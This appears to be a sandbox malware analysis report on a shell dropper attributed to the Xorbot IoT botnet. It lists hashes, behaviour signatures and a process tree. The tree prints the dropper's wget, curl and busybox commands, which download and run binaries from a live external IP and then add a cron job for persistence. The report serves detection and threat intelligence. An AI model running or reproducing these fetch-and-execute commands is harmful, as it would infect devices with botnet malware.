Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04/12/2024, 14:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    d179667ead2f245ddba283f8e2fb59ef

  • SHA1

    8654aace077f9788caaf8d949452e5dcf73b6312

  • SHA256

    f379ab849a701f49f2fa39b75b82c5bc77dd368697aef31fdec28919506f60f6

  • SHA512

    c019f5fb06c6b1413fe9e3330ac0423f5bd9186353542aad29c195c17192fd3024fbed593cb199abcedc1d9187efda3b928bcf36cd346a3d9bc87d093500ea38

  • SSDEEP

    192:gVWERGiyF9rl3g6j6d0VJLbgFGiyF9rt6d0d:gUEi77xd

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1644) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:668
        • /usr/bin/wget
          wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:676
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:697
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Writes file to tmp directory
          PID:699
        • /bin/chmod
          chmod 777 olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          ./olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:701
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:703
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:704
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:705
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:706
            • /bin/rm
              rm olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa
              2⤵
                PID:708
              • /usr/bin/wget
                wget http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
                2⤵
                  PID:711
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/4EtZoLakwM3kqXJRUN1Y8E2OorAOgWyiJp
                  2⤵
                    PID:712

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/olmdMD6HXDPZ2E2pg1AbD5j5GpYrrcd7xa

                        Filesize

                        127KB

                        MD5

                        89077b7bd4bcafca7713be43635c4862

                        SHA1

                        fc02edb8fba29ea8ee99e6157ef8560334530052

                        SHA256

                        78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                        SHA512

                        1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                      • /var/spool/cron/crontabs/tmp.YYdEuV

                        Filesize

                        210B

                        MD5

                        0bf48abd9f46ff73b8c2241772feb8f9

                        SHA1

                        ed5e17521696b2c1c7648bc9bd26db4e9724a6af

                        SHA256

                        a79c84bf9706b3ae871c57e5fbf373c05ec4528db5e94d8809704e3427226fdc

                        SHA512

                        dbabfe5b5dc80a36bf52d74bea15dbea2f595203d5537d8265a0e846f12a3d67fabdd0e0db41070295fb3805575a028164d02cbd84f7f27d6ecd923fd43a74d2